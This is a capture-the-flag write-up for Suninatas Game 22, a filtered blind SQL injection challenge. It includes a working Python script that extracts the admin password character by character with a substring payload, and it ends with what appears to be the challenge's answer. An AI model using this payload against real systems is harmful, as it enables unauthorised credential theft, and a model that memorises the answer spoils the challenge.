Suninatas Game 22

challenges

Game 22

This is a blind SQL injection challenge with heavy filtering. Keywords blocked include: select, union, or, whitespace, by, having, from, char, ascii, left, right, delay, 0x.

The goal is to find the admin's password. Start with credentials guest/guest to obtain a valid session.

Use a Python script to extract the password character-by-character via blind SQL injection:

import requests
import string

url = "http://suninatas.com/challenge/web22/web22.asp"
# Supply the complete Cookie header from an authorized challenge session.
import os
cookie_header = os.environ.get("SUNINATAS_COOKIE")
if not cookie_header:
    raise SystemExit("SUNINATAS_COOKIE is required")
session = requests.Session()
session.headers["Cookie"] = cookie_header

charset = string.ascii_letters + string.digits + "!@#$%^&*()_+"
password = ""

for i in range(1, 31):
    found_char = False
    for char in charset:
        # Test: substring(pw, index, length) = char
        payload = f"'and(substring(pw,{i},1)='{char}')--"
        params = {'id': 'admin' + payload, 'pw': 'a'}

        try:
            r = session.get(url, params=params, timeout=5, allow_redirects=False)
            r.raise_for_status()
            if 300 <= r.status_code < 400:
                raise RuntimeError("Redirect received; oracle result is unknown")
            if "OK" in r.text:
                password += char
                print(f"[+] Found char at index {i}: {char}")
                found_char = True
                break
        except requests.RequestException as e:
            raise RuntimeError("Request failed; oracle result is unknown") from e

    if not found_char:
        raise RuntimeError(f"No character matched at position {i}; length or alphabet is unresolved")

print(f"[EXTRACTED CANDIDATE] {password}")

The retained output continued beyond the length of the recorded answer and does not establish extraction success, so it is not used as verification. params preserves punctuation such as + through form encoding. The OK substring remains a historical, uncalibrated predicate: a current true/false control pair and a confirmed password length are required before treating extraction as complete. The loop aborts on an unmatched position, transport failure, or redirect; reaching the configured limit still yields only a candidate, not a verified password.

N1c3Bilnl)